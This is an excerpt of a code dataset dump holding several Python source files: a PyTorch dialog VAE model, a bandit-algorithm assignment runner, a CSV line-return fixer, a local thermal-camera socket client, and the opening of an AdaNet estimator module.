learning_rate_decay():\n self.learning_rate = self.learning_rate * config.lr_decay\n for param_group in self.optimizer.param_groups:\n param_group['lr'] = self.learning_rate\n \n def forward(self, feed_dict, mode='train', use_profile=False):\n for k, v in feed_dict.items():\n setattr(self, k, v)\n\n max_dialog_len = self.input_contexts.size(1)\n if use_profile:\n max_profile_len = self.profile_contexts.size(1)\n\n with variable_scope.variable_scope(\"wordEmbedding\"):\n\n self.input_contexts = self.input_contexts.view(-1, self.max_utt_len)\n input_embedding = self.embedding(self.input_contexts)\n output_embedding = self.embedding(self.output_tokens)\n if use_profile:\n self.profile_contexts = self.profile_contexts.view(-1, self.max_utt_len)\n profile_embedding = self.embedding(self.profile_contexts)\n\n assert ((self.input_contexts.view(-1, self.max_utt_len) > 0).float() - (torch.max(torch.abs(input_embedding), 2)[0] > 0).float()).abs().sum().item() == 0,\\\n str(((self.input_contexts.view(-1, self.max_utt_len) > 0).float() - (torch.max(torch.abs(input_embedding), 2)[0] > 0).float()).abs().sum().item())\n\n if self.sent_type == \"bow\":\n input_embedding, sent_size = get_bow(input_embedding)\n output_embedding, _ = get_bow(output_embedding)\n if use_profile:\n profile_embedding, p_sent_size = get_bow(profile_embedding)\n\n elif self.sent_type == \"rnn\":\n input_embedding, sent_size = get_rnn_encode(input_embedding, self.sent_cell, self.keep_prob, scope=\"sent_rnn\")\n output_embedding, _ = get_rnn_encode(output_embedding, self.sent_cell, self.output_lens,\n self.keep_prob, scope=\"sent_rnn\", reuse=True)\n if use_profile:\n profile_embedding, p_sent_size = get_rnn_encode(profile_embedding, self.sent_cell, self.keep_prob, scope=\"sent_rnn\")\n elif self.sent_type == \"bi_rnn\":\n input_embedding, sent_size = get_bi_rnn_encode(input_embedding, self.bi_sent_cell, scope=\"sent_bi_rnn\")\n output_embedding, _ = get_bi_rnn_encode(output_embedding, self.bi_sent_cell, self.output_lens, scope=\"sent_bi_rnn\", reuse=True)\n if use_profile:\n profile_embedding, p_sent_size = get_bi_rnn_encode(profile_embedding, self.bi_sent_cell, scope=\"sent_bi_rnn\")\n else:\n raise ValueError(\"Unknown sent_type. Must be one of [bow, rnn, bi_rnn]\")\n\n # reshape input into dialogs\n input_embedding = input_embedding.view(-1, max_dialog_len, sent_size)\n if use_profile:\n profile_embedding = profile_embedding.view(-1, max_profile_len, p_sent_size)\n if self.keep_prob < 1.0:\n input_embedding = F.dropout(input_embedding, 1 - self.keep_prob, self.training)\n if use_profile:\n profile_embedding = F.dropout(profile_embedding, 1 - self.keep_prob, self.training)\n\n # convert floors into 1 hot\n floor_one_hot = self.floors.new_zeros((self.floors.numel(), 2), dtype=torch.float)\n floor_one_hot.data.scatter_(1, self.floors.view(-1,1), 1)\n floor_one_hot = floor_one_hot.view(-1, max_dialog_len, 2)\n joint_embedding = torch.cat([input_embedding, floor_one_hot], 2)\n if use_profile:\n profile_post = torch.zeros(floor_one_hot.size()[0], max_profile_len, 2).cuda()\n joint_embedding_profile = torch.cat([profile_embedding, profile_post], 2)\n\n with variable_scope.variable_scope(\"contextRNN\"):\n # and enc_last_state will be same as the true last state\n # self.enc_cell.eval()\n _, enc_last_state = utils.dynamic_rnn(\n self.enc_cell,\n joint_embedding,\n sequence_length=self.context_lens)\n\n if use_profile:\n _, enc_last_state_profile = utils.dynamic_rnn(\n self.enc_cell,\n joint_embedding_profile,\n sequence_length=self.profile_lens)\n\n if self.num_layer > 1:\n enc_last_state = torch.cat([_ for _ in torch.unbind(enc_last_state)], 1)\n if use_profile:\n enc_last_state_profile = torch.cat([_ for _ in torch.unbind(enc_last_state_profile)], 1)\n else:\n enc_last_state = enc_last_state.squeeze(0)\n if use_profile:\n enc_last_state_profile = enc_last_state_profile.squeeze(0)\n\n cond_embedding = torch.cat([enc_last_state, enc_last_state_profile], 1) if use_profile else enc_last_state\n\n with variable_scope.variable_scope(\"RecogNetwork\"):\n recog_input = cond_embedding\n recog_posterior_mean = self.recog_mean_bn(self.recog_mean_fc(recog_input))\n recog_posterior_logvar = self.recog_logvar_bn(self.recog_logvar_fc(recog_input))\n recog_posterior_var = recog_posterior_logvar.exp()\n \n # take sample\n eps = recog_posterior_mean.data.new().resize_as_(recog_posterior_mean.data).normal_(0,1) # noise\n recog_z = recog_posterior_mean + recog_posterior_var.sqrt() * eps # reparameterization\n self.recog_p = F.softmax(recog_z, -1)\n if self.keep_prob < 1.0:\n self.recog_p = F.dropout(self.recog_p, 1 - self.keep_prob, self.training)\n\n with variable_scope.variable_scope(\"PriorNetwork\"):\n prior_input = output_embedding\n posterior_mean = self.mean_bn (self.mean_fc (prior_input)) # posterior mean\n posterior_logvar = self.logvar_bn(self.logvar_fc(prior_input)) # posterior log variance\n posterior_var = posterior_logvar.exp()\n\n # take sample\n eps = posterior_mean.data.new().resize_as_(posterior_mean.data).normal_(0,1) # noise\n z = posterior_mean + posterior_var.sqrt() * eps # reparameterization\n self.p = F.softmax(z, -1) \n if self.keep_prob < 1.0:\n self.p = F.dropout(self.p, 1 - self.keep_prob, self.training)\n\n with variable_scope.variable_scope(\"RecogGeneration\"):\n recong_init = torch.cat([recog_z, cond_embedding], -1)\n recog_dec_init = self.dec_init_state_net_all(recong_init)\n recog_dec_init = recog_dec_init.unsqueeze(0)\n\n with variable_scope.variable_scope(\"PriorGeneration\"):\n dec_init = self.dec_init_state_net(z)\n\n # BOW loss\n self.bow_logits = self.bow_project(self.p)\n dec_init = dec_init.unsqueeze(0)\n \n with variable_scope.variable_scope(\"Decoder\"):\n if mode == 'test':\n dec_outs_recog, _, final_context_state_recog = decoder_fn_lib.inference_loop(self.rec_dec_cell, \n self.dec_cell_proj_all, \n self.embedding,\n encoder_state = recog_dec_init,\n start_of_sequence_id=self.go_id,\n end_of_sequence_id=self.eos_id,\n maximum_length=self.max_utt_len,\n num_decoder_symbols=self.vocab_size,\n context_vector=None,\n decode_type='greedy')\n\n dec_outs, _, final_context_state = decoder_fn_lib.inference_loop(self.dec_cell, \n self.dec_cell_proj, \n self.embedding,\n encoder_state = dec_init,\n start_of_sequence_id=self.go_id,\n end_of_sequence_id=self.eos_id,\n maximum_length=self.max_utt_len,\n num_decoder_symbols=self.vocab_size,\n context_vector=None,\n decode_type='greedy')\n else:\n input_tokens = self.output_tokens[:, :-1]\n if self.dec_keep_prob < 1.0:\n # if token is 0, then embedding is 0, it's the same as word drop\n keep_mask = input_tokens.new_empty(input_tokens.size()).bernoulli_(config.dec_keep_prob)\n input_tokens = input_tokens * keep_mask\n dec_input_embedding = self.embedding(input_tokens)\n dec_seq_lens = self.output_lens - 1\n dec_input_embedding = F.dropout(dec_input_embedding, 1 - self.keep_prob, self.training)\n # prior decoder\n dec_outs, _, final_context_state = decoder_fn_lib.train_loop(self.dec_cell, \n self.dec_cell_proj, \n dec_input_embedding,\n init_state=dec_init, \n context_vector=None, \n sequence_length=dec_seq_lens)\n # recog decoder\n dec_outs_recog, _, final_context_state_recog = decoder_fn_lib.train_loop(self.rec_dec_cell, \n self.dec_cell_proj_all, \n dec_input_embedding,\n init_state=recog_dec_init, \n context_vector=None, \n sequence_length=dec_seq_lens)\n\n if final_context_state is not None:\n self.dec_out_words = final_context_state\n self.dec_out_words_recog = final_context_state_recog\n else:\n self.dec_out_words = torch.max(dec_outs, 2)[1]\n self.dec_out_words_recog = torch.max(dec_outs_recog, 2)[1]\n \n if not mode == 'test':\n with variable_scope.variable_scope(\"loss\"):\n labels = self.output_tokens[:, 1:]\n label_mask = torch.sign(labels).detach().float()\n\n # # rc_loss = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=dec_outs, labels=labels)\n # rc_loss = F.cross_entropy(dec_outs.view(-1, dec_outs.size(-1)), labels.reshape(-1), reduce=False).view(dec_outs.size()[:-1])\n # # print(rc_loss * label_mask)\n # rc_loss = torch.sum(rc_loss * label_mask, 1)\n # self.avg_rc_loss = rc_loss.mean()\n # # used only for perpliexty calculation. Not used for optimzation\n # self.rc_ppl = torch.exp(torch.sum(rc_loss) / torch.sum(label_mask))\n self.avg_rc_loss, self.rc_ppl = self.rc_loss(dec_outs, labels, label_mask)\n self.avg_rc_loss_recog, self.rc_ppl_recog = self.rc_loss(dec_outs_recog, labels, label_mask)\n\n \"\"\" as n-trial multimodal distribution. \"\"\"\n # bow_loss = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=tile_bow_logits, labels=labels) * label_mask\n bow_loss = -F.log_softmax(self.bow_logits, dim=1).gather(1, labels) * label_mask\n bow_loss = torch.sum(bow_loss, 1)\n self.avg_bow_loss = torch.mean(bow_loss)\n\n prior_mean = self.prior_mean.expand_as(posterior_mean)\n prior_var = self.prior_var.expand_as(posterior_mean)\n prior_logvar = self.prior_logvar.expand_as(posterior_mean)\n # var_division = posterior_var / prior_var\n # diff = posterior_mean - prior_mean\n # diff_term = diff * diff / prior_var\n # logvar_division = prior_logvar - posterior_logvar\n # # put KLD together\n # KLD = 0.5 * ( (var_division + diff_term + logvar_division).sum(1) - self.h_dim )\n # self.avg_kld = torch.mean(KLD)\n self.avg_kld = self.kld(prior_mean, prior_logvar, posterior_mean, posterior_logvar)\n self.avg_kld_recog = self.kld(posterior_mean, posterior_logvar, recog_posterior_mean, recog_posterior_logvar)\n\n if mode == 'train':\n kl_weights = min(self.global_t / self.full_kl_step, 1.0)\n else:\n kl_weights = 1.0\n \n self.kl_w = kl_weights\n self.elbo = self.avg_rc_loss + kl_weights * self.avg_kld\n self.elbo_recog = self.avg_rc_loss_recog + kl_weights * self.avg_kld_recog\n self.aug_elbo = self.avg_bow_loss + self.elbo + self.elbo_recog\n\n self.summary_op = [\\\n tb.summary.scalar(\"model/loss/rc_loss\", self.avg_rc_loss.item()),\n tb.summary.scalar(\"model/loss/elbo\", self.elbo.item()),\n tb.summary.scalar(\"model/loss/kld\", self.avg_kld.item()),\n tb.summary.scalar(\"model/loss/bow_loss\", self.avg_bow_loss.item())]\n \n # def batch_2_feed(self, batch, global_t, use_prior, repeat=1):\n # context, context_lens, floors, topics, my_profiles, ot_profiles, outputs, output_lens, output_das, p_context, p_lens = batch\n # feed_dict = {\"input_contexts\": context, \"context_lens\":context_lens,\n # \"floors\": floors, \"topics\":topics, \"my_profile\": my_profiles,\n # \"ot_profile\": ot_profiles, \"output_tokens\": outputs,\n # \"output_das\": output_das, \"output_lens\": output_lens,\n # \"use_prior\": use_prior, \"profile_contexts\": p_context, \"profile_lens\":p_lens}\n # if repeat > 1:\n # tiled_feed_dict = {}\n # for key, val in feed_dict.items():\n # if key == \"use_prior\":\n # tiled_feed_dict[key] = val\n # continue\n # if val is None:\n # tiled_feed_dict[key] = None\n # continue\n # multipliers = [1]*len(val.shape)\n # multipliers[0] = repeat\n # tiled_feed_dict[key] = np.tile(val, multipliers)\n # feed_dict = tiled_feed_dict\n\n # if global_t is not None:\n # feed_dict[\"global_t\"] = global_t\n\n # if torch.cuda.is_available():\n # feed_dict = {k: torch.from_numpy(v).cuda() if isinstance(v, np.ndarray) else v for k, v in feed_dict.items()}\n # else:\n # feed_dict = {k: torch.from_numpy(v) if isinstance(v, np.ndarray) else v for k, v in feed_dict.items()}\n\n # return feed_dict\n def batch_2_feed(self, batch, global_t, use_prior, repeat=1):\n context, context_lens, floors, topics, my_profiles, ot_profiles, outputs, output_lens, output_das = batch\n feed_dict = {\"input_contexts\": context, \"context_lens\":context_lens,\n \"floors\": floors, \"topics\":topics, \"my_profile\": my_profiles,\n \"ot_profile\": ot_profiles, \"output_tokens\": outputs,\n \"output_das\": output_das, \"output_lens\": output_lens,\n \"use_prior\": use_prior}\n if repeat > 1:\n tiled_feed_dict = {}\n for key, val in feed_dict.items():\n if key == \"use_prior\":\n tiled_feed_dict[key] = val\n continue\n multipliers = [1]*len(val.shape)\n multipliers[0] = repeat\n tiled_feed_dict[key] = np.tile(val, multipliers)\n feed_dict = tiled_feed_dict\n\n if global_t is not None:\n feed_dict[\"global_t\"] = global_t\n\n feed_dict = {k: torch.from_numpy(v).cuda() if isinstance(v, np.ndarray) else v for k, v in feed_dict.items()}\n\n return feed_dict\n\n def train_model(self, global_t, train_feed, update_limit=5000, use_profile=False):\n elbo_losses = []\n rc_losses = []\n rc_recog_losses = []\n rc_ppls = []\n rc_recog_ppls = []\n kl_recog_losses = []\n kl_losses = []\n bow_losses = []\n local_t = 0\n start_time = time.time()\n loss_names = [\"elbo_loss\", \"bow_loss\", \"rc_loss\", \"rc_peplexity\", \"kl_loss\", \"rc_recog_loss\", \"rc_recog_perplexity\", \"kl_recog_loss\"]\n while True:\n batch = train_feed.next_batch()\n if batch is None:\n break\n if update_limit is not None and local_t >= update_limit:\n break\n feed_dict = self.batch_2_feed(batch, global_t, use_prior=False)\n self.forward(feed_dict, mode='train', use_profile=use_profile)\n elbo_loss, bow_loss, rc_loss, rc_ppl, kl_loss, rc_recog_loss, rc_recog_ppl, kl_recog_loss = self.elbo.item(),\\\n self.avg_bow_loss.item(),\\\n self.avg_rc_loss.item(),\\\n self.rc_ppl.item(),\\\n self.avg_kld.item(),\\\n self.avg_rc_loss_recog.item(),\\\n self.rc_ppl_recog.item(),\\\n self.avg_kld_recog.item(),\\\n\n self.optimize(self.aug_elbo)\n # print(elbo_loss, bow_loss, rc_loss, rc_ppl, kl_loss)\n for summary in self.summary_op:\n self.train_summary_writer.add_summary(summary, global_t)\n elbo_losses.append(elbo_loss)\n bow_losses.append(bow_loss)\n rc_ppls.append(rc_ppl)\n rc_recog_ppls.append(rc_recog_ppl)\n rc_losses.append(rc_loss)\n rc_recog_losses.append(rc_recog_loss)\n kl_losses.append(kl_loss)\n kl_recog_losses.append(kl_recog_loss)\n\n global_t += 1\n local_t += 1\n if local_t % (train_feed.num_batch // 10) == 0:\n kl_w = self.kl_w\n self.print_loss(\"%.2f\" % (train_feed.ptr / float(train_feed.num_batch)),\n loss_names, [elbo_losses, bow_losses, rc_losses, rc_ppls, kl_losses, rc_recog_losses, rc_recog_ppls, kl_recog_losses], \"kl_w %f\" % kl_w)\n\n # finish epoch!\n #torch.cuda.synchronize()\n epoch_time = time.time() - start_time\n avg_losses = self.print_loss(\"Epoch Done\", loss_names,\n [elbo_losses, bow_losses, rc_losses, rc_ppls, kl_losses, rc_recog_loss, rc_recog_ppl, kl_recog_loss],\n \"step time %.4f\" % (epoch_time / train_feed.num_batch))\n\n return global_t, avg_losses[0]\n\n def valid_model(self, name, valid_feed, use_profile=False):\n elbo_losses = []\n rc_losses = []\n rc_ppls = []\n bow_losses = []\n kl_losses = []\n rc_ppls_prior = []\n\n while True:\n batch = valid_feed.next_batch()\n if batch is None:\n break\n feed_dict = self.batch_2_feed(batch, None, use_prior=False, repeat=1)\n with torch.no_grad():\n self.forward(feed_dict, mode='valid', use_profile=use_profile)\n elbo_loss, bow_loss, rc_loss, rc_ppl, kl_loss = self.elbo.item(),\\\n self.avg_bow_loss.item(),\\\n self.avg_rc_loss.item(),\\\n self.rc_ppl.item(),\\\n self.avg_kld.item()\n elbo_loss, bow_loss, rc_loss, rc_ppl, kl_loss, rc_ppl_proir = self.elbo_recog.item(),\\\n self.avg_bow_loss.item(),\\\n self.avg_rc_loss_recog.item(),\\\n self.rc_ppl_recog.item(),\\\n self.avg_kld_recog.item(),\\\n self.rc_ppl.item()\n\n elbo_losses.append(elbo_loss)\n rc_losses.append(rc_loss)\n rc_ppls.append(rc_ppl)\n bow_losses.append(bow_loss)\n kl_losses.append(kl_loss)\n rc_ppls_prior.append(rc_ppl_proir)\n\n avg_losses = self.print_loss(name, [\"rc_loss\", \"bow_loss\", \"elbo_loss\", \"rc_peplexity\", \"kl_loss\", 'rc_peplexity_prior'],\n [rc_losses, bow_losses, elbo_losses, rc_ppls, kl_losses, rc_ppls_prior], \"\")\n return avg_losses, [\"rc_loss\", \"bow_loss\", \"elbo_loss\", \"rc_peplexity\", \"kl_loss\", \"rc_peplexity_prior\"]\n\n def test_model(self, test_feed, num_batch=None, repeat=5, dest=sys.stdout, use_profile=False):\n local_t = 0\n recall_bleus = []\n prec_bleus = []\n\n while True:\n batch = test_feed.next_batch()\n if batch is None or (num_batch is not None and local_t > num_batch):\n break\n feed_dict = self.batch_2_feed(batch, None, use_prior=True, repeat=1)\n with torch.no_grad():\n self.forward(feed_dict, mode='test', use_profile=use_profile)\n word_outs = self.dec_out_words.cpu().numpy()\n word_outs_recog = self.dec_out_words_recog.cpu().numpy()\n sample_words = word_outs #np.split(word_outs, repeat, axis=0)\n sample_words_recog = word_outs_recog\n\n true_floor = feed_dict[\"floors\"].cpu().numpy()\n true_srcs = feed_dict[\"input_contexts\"].cpu().numpy()\n true_src_lens = feed_dict[\"context_lens\"].cpu().numpy()\n true_outs = feed_dict[\"output_tokens\"].cpu().numpy()\n if use_profile:\n profile = feed_dict[\"profile_contexts\"].cpu().numpy()\n #true_topics = feed_dict[\"topics\"].cpu().numpy()\n #true_das = feed_dict[\"output_das\"].cpu().numpy()\n local_t += 1\n\n if dest != sys.stdout:\n if local_t % (test_feed.num_batch // 10) == 0:\n print(\"%.2f >> \" % (test_feed.ptr / float(test_feed.num_batch))),\n\n for b_id in range(test_feed.batch_size):\n # print the dialog context\n start = np.maximum(0, true_src_lens[b_id]-5)\n for t_id in range(start, true_srcs.shape[1], 1):\n src_str = \" \".join([self.vocab[e] for e in true_srcs[b_id, t_id].tolist() if e != 0])\n dest.write(\"Src %d-%d: %s\\n\" % (t_id, true_floor[b_id, t_id], src_str))\n if use_profile:\n for p_id in range(profile.shape[1]):\n profile_str = \" \".join([self.vocab[e] for e in profile[b_id, p_id].tolist() if e != 0])\n dest.write(\"Profile %d-%d: %s\\n\" % (p_id, 1, profile_str))\n # print the true outputs\n true_tokens = [self.vocab[e] for e in true_outs[b_id].tolist() if e not in [0, self.eos_id, self.go_id]]\n true_str = \" \".join(true_tokens).replace(\" ' \", \"'\")\n #da_str = self.da_vocab[true_das[b_id]]\n # print the predicted outputs\n dest.write(\"Target >> %s\\n\" % ( true_str))\n local_tokens = []\n\n pred_outs = sample_words\n #pred_da = np.argmax(sample_das[r_id], axis=1)[0]\n pred_tokens = [self.vocab[e] for e in pred_outs[b_id].tolist() if e != self.eos_id and e != 0]\n pred_str = \" \".join(pred_tokens).replace(\" ' \", \"'\")\n dest.write(\"Sample %d >> %s\\n\" % (0, pred_str))\n local_tokens.append(pred_tokens)\n\n pred_outs = sample_words_recog\n #pred_da = np.argmax(sample_das[r_id], axis=1)[0]\n pred_tokens = [self.vocab[e] for e in pred_outs[b_id].tolist() if e != self.eos_id and e != 0]\n pred_str = \" \".join(pred_tokens).replace(\" ' \", \"'\")\n dest.write(\"Sample %d >> %s\\n\" % (1, pred_str))\n local_tokens.append(pred_tokens)\n\n max_bleu, avg_bleu = utils.get_bleu_stats(true_tokens, local_tokens)\n recall_bleus.append(max_bleu)\n prec_bleus.append(avg_bleu)\n # make a new line for better readability\n dest.write(\"\\n\")\n\n avg_recall_bleu = float(np.mean(recall_bleus))\n avg_prec_bleu = float(np.mean(prec_bleus))\n avg_f1 = 2*(avg_prec_bleu*avg_recall_bleu) / (avg_prec_bleu+avg_recall_bleu+10e-12)\n report = \"Avg recall BLEU %f, avg precision BLEU %f and F1 %f (only 1 reference response. Not final result)\" \\\n % (avg_recall_bleu, avg_prec_bleu, avg_f1)\n print(report)\n dest.write(report + \"\\n\")\n print(\"Done testing\")\n\n def rc_loss(self, dec_outs, labels, label_mask):\n # rc_loss = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=dec_outs, labels=labels)\n rc_loss = F.cross_entropy(dec_outs.view(-1, dec_outs.size(-1)), labels.reshape(-1), reduce=False).view(dec_outs.size()[:-1])\n # print(rc_loss * label_mask)\n rc_loss = torch.sum(rc_loss * label_mask, 1)\n avg_rc_loss = rc_loss.mean()\n # used only for perpliexty calculation. Not used for optimzation\n rc_ppl = torch.exp(torch.sum(rc_loss) / torch.sum(label_mask))\n return avg_rc_loss, rc_ppl\n \n def kld(self, prior_mean, prior_logvar, posterior_mean, posterior_logvar):\n prior_var = prior_logvar.exp()\n posterior_var = posterior_logvar.exp()\n var_division = posterior_var / prior_var\n diff = posterior_mean - prior_mean\n diff_term = diff * diff / prior_var\n logvar_division = prior_logvar - posterior_logvar\n # put KLD together\n KLD = 0.5 * ( (var_division + diff_term + logvar_division).sum(1) - self.h_dim )\n return torch.mean(KLD)","sub_path":"models/DirVAE.py","file_name":"DirVAE.py","file_ext":"py","file_size_in_byte":34830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"331743298","text":"# https://www.cse.iitb.ac.in/~shivaram/teaching/cs747-a2020/pa-1/programming-assignment-1.html\n\n# Time taken by each algorithm:\n# 1. Epsilon-greedy ~ 4 minutes\n# 2. UCB ~ 5 minutes\n# 3. KL-UCB ~ 12 minutes\n# 4. Thompson Sampling ~ 12 minutes\n# 5. Thompson Sampling With Hint ~ 3 minutes\n\nimport argparse\nimport helper\nfrom epsilon_greedy import epsilonGreedy\nfrom ucb import ucb\nfrom ucb_kl import ucbKL\nfrom thompson_sampling import thompsonSampling\nfrom thompson_sampling_with_hint import thompsonSamplingWithHint\n\n# Function to parse arguments\ndef parseArguements(algorithms):\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('--instance', type=str, help='path to the instance file')\n\tparser.add_argument('--algorithm', default='epsilon-greedy', type=str, help='algorithm choices - epsilon-greedy, ucb, kl-ucb, thompson-sampling, and thompson-sampling-with-hint')\n\tparser.add_argument('--randomSeed', default=42, type=helper.checkNonNegative, help='a non-negative integer to be used as seed')\n\tparser.add_argument('--epsilon', default=0, type=helper.checkRange, help='a number in the range [0,1]')\n\tparser.add_argument('--horizon', default=10000, type=helper.checkNonNegative, help='a non-negative integer')\n\tparser.add_argument('--output', default='outputData', type=str, help='name of the output txt file to be created')\n\tparser.add_argument('--verbose', help='increase verbosity', action='store_true')\n\targs = parser.parse_args()\n\tif args.algorithm not in algorithms:\n\t\traise AssertionError(f'Incorrect algorithm specified - \"{args.algorithm}\". Try using --help.')\n\treturn args\n\nif __name__ == '__main__':\n\talgorithms = ['epsilon-greedy', 'ucb', 'kl-ucb', 'thompson-sampling', 'thompson-sampling-with-hint']\n\targs = parseArguements(algorithms)\n\t\n\t# Get the true means from the file \n\tmeans_true = helper.readFile(args.instance)\n\n\t# Call to the appropriate function\n\tregret = None\n\tif args.algorithm == 'epsilon-greedy':\n\t\tregret = epsilonGreedy(args.randomSeed, args.horizon, means_true, args.epsilon, args.verbose)\n\telif args.algorithm == 'ucb':\n\t\tregret = ucb(args.randomSeed, args.horizon, means_true, args.verbose)\n\telif args.algorithm == 'kl-ucb':\n\t\tregret = ucbKL(args.randomSeed, args.horizon, means_true, args.verbose)\n\telif args.algorithm == 'thompson-sampling':\n\t\tregret = thompsonSampling(args.randomSeed, args.horizon, means_true, args.verbose)\n\telif args.algorithm == 'thompson-sampling-with-hint':\n\t\tregret = thompsonSamplingWithHint(args.randomSeed, args.horizon, means_true, args.verbose)\n\telse:\n\t\tregret = float('inf')\n\t\n\tif regret is not None:\n\t\t# Print output to console and write to file\n\t\tresult = f'{args.instance}, {args.algorithm}, {args.randomSeed}, {args.epsilon}, {args.horizon}, {regret}'\n\t\tprint(result)\n\t\thelper.writeFile(f'{args.output}.txt', result)\n","sub_path":"Assignment1/submission/bandit.py","file_name":"bandit.py","file_ext":"py","file_size_in_byte":2796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"302509585","text":"\n\nfrom xai.brain.wordbase.nouns._avocado import _AVOCADO\n\n#calss header\nclass _AVOCADOS(_AVOCADO, ):\n\tdef __init__(self,): \n\t\t_AVOCADO.__init__(self)\n\t\tself.name = \"AVOCADOS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"avocado\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_avocados.py","file_name":"_avocados.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"214486448","text":"import csv\nimport pdb\nimport pandas as pd\nimport numpy as np\nimport os\nstop = pdb.set_trace\n\ndef csv_fix(file):\n\twith open(file, newline='', encoding='ISO-8859-1') as csvfile:\n\t\t#Open CSV file for reading\n\t\tspamreader = csv.reader(csvfile, delimiter=';', dialect='excel')\n\t\tfor ii, row in enumerate(spamreader):\n\t\t\t#If first row read line as header for data frame\n\t\t\t# and initiate empty data frame\n\t\t\tif ii == 0:\n\t\t\t\theader = row\n\t\t\t\tdf = pd.DataFrame()\n\t\t\t#If not first row store it as a line in the data frame but first replace line returns with symbol __N__ so that other programs can read that CSV file\n\t\t\telse:\n\t\t\t\trowmod = []\n\t\t\t\tfor rowi in row:\n\t\t\t\t\trowmod.append(rowi.replace('\\n','__N__'))\n\t\t\t\tdfi = pd.DataFrame(data=np.reshape(np.array(rowmod),(1,len(row))),columns=header)\n\t\t\t\tdf = df.append(dfi)\n\t#Save output file\n\toutfile = os.path.splitext(file)[0]+'_fixed.csv'\n\tdf.to_csv(outfile)\n\tprint('Done !')","sub_path":"csv_fix.py","file_name":"csv_fix.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"177539663","text":"import cv2\nimport numpy as np\n#from matplotlib import pyplot as plt\nimport socket\nimport sys\nimport binascii\nimport struct\nimport time\n#from PIL import Image\n\n\ndef bufferToMat(length, imagebuffer):\n if length == 200*150*2:\n #print('bufferToMat found mosaic data')\n #vis = np.zeros((150, 200), np.uint16)\n #h,w = vis.shape\n #vis2 = cv.CreateMat(h, w, cv.CV_32FC3)\n #vis0 = cv.frombuffer(image_stream.read())\n num_images = 1\n rows = 150\n cols = 200\n #data = numpy.frombuffer(image_stream.read(), dtype=numpy.int16)\n #print (imagebuffer)\n #print('bufferToMat setting up numpy var type')\n dt = np.int16\n #print('bufferToMat setting up numpy var byte order')\n #dt = dt.newbyteorder(\"<\")\n #print('bufferToMat creating numpy var from buffer')\n data = np.frombuffer(bytes(imagebuffer), dtype=dt)\n #print('bufferToMat created numpy var')\n data = data.reshape(num_images, rows, cols, 1) \n #print('bufferToMat reshaped numpy var')\n #image = cv2.frombuffer(data)\n #print('bufferToMat created image')\n return data\n if length == 320*240*2:\n num_images = 1\n rows = 240\n cols = 320\n dt = np.int16\n data = np.frombuffer(bytes(imagebuffer), dtype=dt)\n data = data.reshape(num_images, rows, cols, 1) \n return data\n return 0\n\n\n#img = cv2.imread('watch.jpg',cv2.IMREAD_GRAYSCALE)\n#cv2.imshow('image',img)\n#cv2.waitKey(0)\n#cv2.destroyAllWindows()\n\n#def get_constants(prefix):\n# \"\"\"Create a dictionary mapping socket module constants to their names.\"\"\"\n# return dict( (getattr(socket, n), n)\n# for n in dir(socket)\n# if n.startswith(prefix)\n# )\n\nclass irCamera_SeekMosaic:\n\n def __init__(self, portnumber):\n #def openconnection(self, portnumber):\n #print('openconnection called')\n \n # Create a TCP/IP socket\n self.connection = socket.create_connection(('localhost', portnumber))\n #print('openconnection done, connection ')\n #print(self.connection)\n\n\n\n\n def recv_timeout(self, requestedLength,timeout):\n #print('recv_timeout(..,%d,..) entered' %requestedLength)\n #make socket non blocking\n self.connection.setblocking(0)\n #print('recv_timeout set socket to non-blocking')\n \n #total data partwise in an array\n total_data=bytearray(0);\n #print('total_data initialized to:')\n #print(total_data)\n data='';\n \n #beginning time\n #print('recv_timeout getting time mark')\n begin=time.time()\n #print('recv_timeout got time mark')\n while 1:\n #print('recv_timeout loop top')\n #if you got some data, then break after timeout\n if total_data and time.time()-begin > timeout:\n break\n \n #if you got no data at all, wait a little longer, twice the timeout\n elif time.time()-begin > timeout*2:\n break\n \n #recv something\n try:\n data = self.connection.recv(requestedLength - len(total_data))\n if data:\n print('recv_timeout received data len=%d' % len(data))\n if requestedLength == len(data):\n total_data = data\n break;\n else:\n print('partial data read: %d bytes' %len(data))\n if len(total_data) == 0:\n total_data = data\n else:\n total_data += data\n #print('total_data is now:')\n #print(total_data)\n print('now have %d bytes' % len(total_data))\n if len(total_data) >= requestedLength:\n break;\n #change the beginning time for measurement\n begin=time.time()\n else:\n #print('recv_timeout sleeping')\n #sleep for sometime to indicate a gap\n time.sleep(0.1)\n except:\n pass\n #print('recv_timeout loop bottom')\n \n #join all parts to make final string\n #print('recv_timeout exiting')\n #print(total_data)\n #return ''.join(total_data)\n return total_data\n\n\n def read(self):\n #print('imread called')\n #print(self.connection)\n image = 0\n try: \n self.connection.sendall(b'THERM')\n amount_received = 0\n #print('calling recv_timeout')\n data = self.recv_timeout(4, 30)\n #print('back from recv_timeout; data=')\n #print(data)\n #image_len = struct.unpack('>sys.stderr, 'closing socket'\n self.connection.close()\n\n \n\n\n \n","sub_path":"thermal01/seek_to_csv/ir/mosaic320/irCamera_SeekMosaic.py","file_name":"irCamera_SeekMosaic.py","file_ext":"py","file_size_in_byte":6252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"288816112","text":"\"\"\"An AdaNet estimator implementation which can run on TPU.\n\nCopyright 2018 The AdaNet Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n https://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport collections\nimport functools\n\nfrom 